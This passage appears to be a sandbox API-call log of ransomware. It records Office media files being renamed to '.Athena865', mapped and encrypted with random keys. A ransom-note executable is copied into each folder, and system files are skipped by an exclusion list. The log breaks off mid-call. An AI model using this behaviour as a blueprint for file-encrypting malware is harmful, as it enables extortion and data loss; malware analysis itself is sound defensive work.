[0139.304] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0315447.JPG" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0315447.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0315447.JPG.Athena865" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0315447.jpg.athena865"), dwFlags=0x1) returned 1 [0139.305] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0315447.JPG.Athena865" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0315447.jpg.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0139.305] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=24804) returned 1 [0139.306] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ed48) returned 1 [0139.306] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0139.306] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0139.307] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x63f0, lpName=0x0) returned 0x154 [0139.308] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x63f0) returned 0x100000 [0139.309] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ed48) returned 1 [0139.310] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0139.310] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0139.311] lstrcpyW (in: lpString1=0x241e8aa, lpString2="J0332268.WMF" | out: lpString1="J0332268.WMF") returned="J0332268.WMF" [0139.311] lstrlenW (lpString="J0332268.WMF") returned 12 [0139.311] lstrlenW (lpString="Athena865") returned 9 [0139.311] lstrcmpiW (lpString1="32268.WMF", lpString2="Athena865") returned -1 [0139.311] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0332268.WMF.Athena865") returned 71 [0139.311] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0332268.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0332268.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0332268.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0332268.wmf.athena865"), dwFlags=0x1) returned 1 [0139.312] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0332268.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0332268.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0139.312] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=20840) returned 1 [0139.312] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ed48) returned 1 [0139.313] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0139.313] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0139.313] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x5470, lpName=0x0) returned 0x154 [0139.315] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x5470) returned 0x100000 [0139.316] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ed48) returned 1 [0139.317] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0139.317] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0139.317] lstrcpyW (in: lpString1=0x241e8aa, lpString2="J0332364.WMF" | out: lpString1="J0332364.WMF") returned="J0332364.WMF" [0139.317] lstrlenW (lpString="J0332364.WMF") returned 12 [0139.317] lstrlenW (lpString="Athena865") returned 9 [0139.317] lstrcmpiW (lpString1="32364.WMF", lpString2="Athena865") returned -1 [0139.318] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0332364.WMF.Athena865") returned 71 [0139.318] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0332364.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0332364.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0332364.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0332364.wmf.athena865"), dwFlags=0x1) returned 1 [0139.319] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0332364.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0332364.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0139.319] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=18370) returned 1 [0139.319] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ed48) returned 1 [0139.320] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0139.320] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0139.320] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x4ad0, lpName=0x0) returned 0x154 [0139.323] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4ad0) returned 0x100000 [0139.324] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ed48) returned 1 [0139.324] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0139.325] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0139.325] lstrcpyW (in: lpString1=0x241e8aa, lpString2="J0335112.WMF" | out: lpString1="J0335112.WMF") returned="J0335112.WMF" [0139.325] lstrlenW (lpString="J0335112.WMF") returned 12 [0139.325] lstrlenW (lpString="Athena865") returned 9 [0139.325] lstrcmpiW (lpString1="35112.WMF", lpString2="Athena865") returned -1 [0139.325] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0335112.WMF.Athena865") returned 71 [0139.325] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0335112.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0335112.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0335112.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0335112.wmf.athena865"), dwFlags=0x1) returned 1 [0139.327] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0335112.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0335112.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0139.327] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=8036) returned 1 [0139.327] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ed48) returned 1 [0139.328] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0139.328] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0139.328] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x2270, lpName=0x0) returned 0x154 [0139.330] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x2270) returned 0x100000 [0139.330] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ed48) returned 1 [0139.331] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0139.331] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0139.332] lstrcpyW (in: lpString1=0x241e8aa, lpString2="J0336075.WMF" | out: lpString1="J0336075.WMF") returned="J0336075.WMF" [0139.332] lstrlenW (lpString="J0336075.WMF") returned 12 [0139.332] lstrlenW (lpString="Athena865") returned 9 [0139.332] lstrcmpiW (lpString1="36075.WMF", lpString2="Athena865") returned -1 [0139.332] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0336075.WMF.Athena865") returned 71 [0139.332] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0336075.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0336075.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0336075.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0336075.wmf.athena865"), dwFlags=0x1) returned 1 [0139.333] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0336075.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0336075.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0139.333] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=52890) returned 1 [0139.334] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ed48) returned 1 [0139.334] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0139.334] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0139.334] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xd1a0, lpName=0x0) returned 0x154 [0139.336] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xd1a0) returned 0x100000 [0139.338] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ed48) returned 1 [0139.339] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0139.339] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0139.340] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14" | out: lpString1="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14" [0139.341] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14" | out: lpString1="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14" [0139.341] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0139.341] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\microsoft office\\media\\office14\\how to back your files.exe"), bFailIfExists=1) returned 0 [0139.342] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\microsoft office\\media\\office14\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0139.342] GetLastError () returned 0x0 [0139.342] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0139.343] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0139.343] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeef015d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xcf111ac0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xcf111ac0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529bd0 [0139.343] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0139.343] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0139.343] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0139.343] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeef015d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xcf111ac0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xcf111ac0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0139.343] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0139.343] lstrcmpiW (lpString1="..", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0139.343] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0139.344] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0139.344] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeef015d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeef015d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeef015d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0139.344] lstrcmpiW (lpString1="1033", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0139.344] lstrcmpiW (lpString1="1033", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0139.344] lstrcmpiW (lpString1="1033", lpString2=".") returned 1 [0139.344] lstrcmpiW (lpString1="1033", lpString2="..") returned 1 [0139.344] lstrcmpiW (lpString1="1033", lpString2="windows") returned -1 [0139.344] lstrcmpiW (lpString1="1033", lpString2="bootmgr") returned -1 [0139.344] lstrcmpiW (lpString1="1033", lpString2="temp") returned -1 [0139.344] lstrcmpiW (lpString1="1033", lpString2="pagefile.sys") returned -1 [0139.344] lstrcmpiW (lpString1="1033", lpString2="boot") returned -1 [0139.344] lstrcmpiW (lpString1="1033", lpString2="ids.txt") returned -1 [0139.344] lstrcmpiW (lpString1="1033", lpString2="ntuser.dat") returned -1 [0139.344] lstrcmpiW (lpString1="1033", lpString2="perflogs") returned -1 [0139.344] lstrcmpiW (lpString1="1033", lpString2="MSBuild") returned -1 [0139.344] lstrlenW (lpString="1033") returned 4 [0139.344] lstrcpyW (in: lpString1=0x241e8aa, lpString2="1033" | out: lpString1="1033") returned="1033" [0139.344] lstrcatW (in: lpString1="1033", lpString2="\\" | out: lpString1="1033\\") returned="1033\\" [0139.344] lstrcatW (in: lpString1="1033\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="1033\\HOW TO BACK YOUR FILES.exe") returned="1033\\HOW TO BACK YOUR FILES.exe" [0139.344] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\1033\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\microsoft office\\media\\office14\\1033\\how to back your files.exe"), bFailIfExists=1) returned 1 [0139.348] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51767f50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xbcce4400, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xbcce4400, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="AUTOSHAP", cAlternateFileName="")) returned 1 [0139.348] lstrcmpiW (lpString1="AUTOSHAP", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0139.348] lstrcmpiW (lpString1="AUTOSHAP", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0139.348] lstrcmpiW (lpString1="AUTOSHAP", lpString2=".") returned 1 [0139.348] lstrcmpiW (lpString1="AUTOSHAP", lpString2="..") returned 1 [0139.348] lstrcmpiW (lpString1="AUTOSHAP", lpString2="windows") returned -1 [0139.348] lstrcmpiW (lpString1="AUTOSHAP", lpString2="bootmgr") returned -1 [0139.348] lstrcmpiW (lpString1="AUTOSHAP", lpString2="temp") returned -1 [0139.348] lstrcmpiW (lpString1="AUTOSHAP", lpString2="pagefile.sys") returned -1 [0139.348] lstrcmpiW (lpString1="AUTOSHAP", lpString2="boot") returned -1 [0139.348] lstrcmpiW (lpString1="AUTOSHAP", lpString2="ids.txt") returned -1 [0139.348] lstrcmpiW (lpString1="AUTOSHAP", lpString2="ntuser.dat") returned -1 [0139.348] lstrcmpiW (lpString1="AUTOSHAP", lpString2="perflogs") returned -1 [0139.348] lstrcmpiW (lpString1="AUTOSHAP", lpString2="MSBuild") returned -1 [0139.348] lstrlenW (lpString="AUTOSHAP") returned 8 [0139.348] lstrcpyW (in: lpString1=0x241e8aa, lpString2="AUTOSHAP" | out: lpString1="AUTOSHAP") returned="AUTOSHAP" [0139.348] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52cf18 [0139.348] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x74) returned 0x502b28 [0139.348] lstrcatW (in: lpString1="AUTOSHAP", lpString2="\\" | out: lpString1="AUTOSHAP\\") returned="AUTOSHAP\\" [0139.348] lstrcatW (in: lpString1="AUTOSHAP\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="AUTOSHAP\\HOW TO BACK YOUR FILES.exe") returned="AUTOSHAP\\HOW TO BACK YOUR FILES.exe" [0139.348] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\how to back your files.exe"), bFailIfExists=1) returned 1 [0139.353] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5178e0b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xbd42e760, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xbd42e760, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="BULLETS", cAlternateFileName="")) returned 1 [0139.353] lstrcmpiW (lpString1="BULLETS", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0139.353] lstrcmpiW (lpString1="BULLETS", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0139.353] lstrcmpiW (lpString1="BULLETS", lpString2=".") returned 1 [0139.353] lstrcmpiW (lpString1="BULLETS", lpString2="..") returned 1 [0139.353] lstrcmpiW (lpString1="BULLETS", lpString2="windows") returned -1 [0139.353] lstrcmpiW (lpString1="BULLETS", lpString2="bootmgr") returned 1 [0139.353] lstrcmpiW (lpString1="BULLETS", lpString2="temp") returned -1 [0139.353] lstrcmpiW (lpString1="BULLETS", lpString2="pagefile.sys") returned -1 [0139.353] lstrcmpiW (lpString1="BULLETS", lpString2="boot") returned 1 [0139.353] lstrcmpiW (lpString1="BULLETS", lpString2="ids.txt") returned -1 [0139.353] lstrcmpiW (lpString1="BULLETS", lpString2="ntuser.dat") returned -1 [0139.353] lstrcmpiW (lpString1="BULLETS", lpString2="perflogs") returned -1 [0139.353] lstrcmpiW (lpString1="BULLETS", lpString2="MSBuild") returned -1 [0139.353] lstrlenW (lpString="BULLETS") returned 7 [0139.353] lstrcpyW (in: lpString1=0x241e8aa, lpString2="BULLETS" | out: lpString1="BULLETS") returned="BULLETS" [0139.353] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x552290 [0139.353] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x72) returned 0x53c6a0 [0139.354] lstrcatW (in: lpString1="BULLETS", lpString2="\\" | out: lpString1="BULLETS\\") returned="BULLETS\\" [0139.354] lstrcatW (in: lpString1="BULLETS\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="BULLETS\\HOW TO BACK YOUR FILES.exe") returned="BULLETS\\HOW TO BACK YOUR FILES.exe" [0139.354] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\how to back your files.exe"), bFailIfExists=1) returned 1 [0139.358] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcf111ac0, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xcf111ac0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0139.358] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0139.358] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5178e0b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xbd4548c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xbd4548c0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="LINES", cAlternateFileName="")) returned 1 [0139.359] lstrcmpiW (lpString1="LINES", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0139.359] lstrcmpiW (lpString1="LINES", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0139.359] lstrcmpiW (lpString1="LINES", lpString2=".") returned 1 [0139.359] lstrcmpiW (lpString1="LINES", lpString2="..") returned 1 [0139.359] lstrcmpiW (lpString1="LINES", lpString2="windows") returned -1 [0139.359] lstrcmpiW (lpString1="LINES", lpString2="bootmgr") returned 1 [0139.359] lstrcmpiW (lpString1="LINES", lpString2="temp") returned -1 [0139.359] lstrcmpiW (lpString1="LINES", lpString2="pagefile.sys") returned -1 [0139.359] lstrcmpiW (lpString1="LINES", lpString2="boot") returned 1 [0139.359] lstrcmpiW (lpString1="LINES", lpString2="ids.txt") returned 1 [0139.359] lstrcmpiW (lpString1="LINES", lpString2="ntuser.dat") returned -1 [0139.359] lstrcmpiW (lpString1="LINES", lpString2="perflogs") returned -1 [0139.359] lstrcmpiW (lpString1="LINES", lpString2="MSBuild") returned -1 [0139.359] lstrlenW (lpString="LINES") returned 5 [0139.359] lstrcpyW (in: lpString1=0x241e8aa, lpString2="LINES" | out: lpString1="LINES") returned="LINES" [0139.359] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x5522a8 [0139.359] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x6e) returned 0x540e38 [0139.359] lstrcatW (in: lpString1="LINES", lpString2="\\" | out: lpString1="LINES\\") returned="LINES\\" [0139.359] lstrcatW (in: lpString1="LINES\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="LINES\\HOW TO BACK YOUR FILES.exe") returned="LINES\\HOW TO BACK YOUR FILES.exe" [0139.359] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\how to back your files.exe"), bFailIfExists=1) returned 1 [0139.363] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf3475600, ftCreationTime.dwHighDateTime=0x1ca9120, ftLastAccessTime.dwLowDateTime=0x596c1850, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf3475600, ftLastWriteTime.dwHighDateTime=0x1ca9120, nFileSizeHigh=0x0, nFileSizeLow=0x3da0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="OFFICE10.DLL", cAlternateFileName="")) returned 1 [0139.363] lstrcmpiW (lpString1="OFFICE10.DLL", 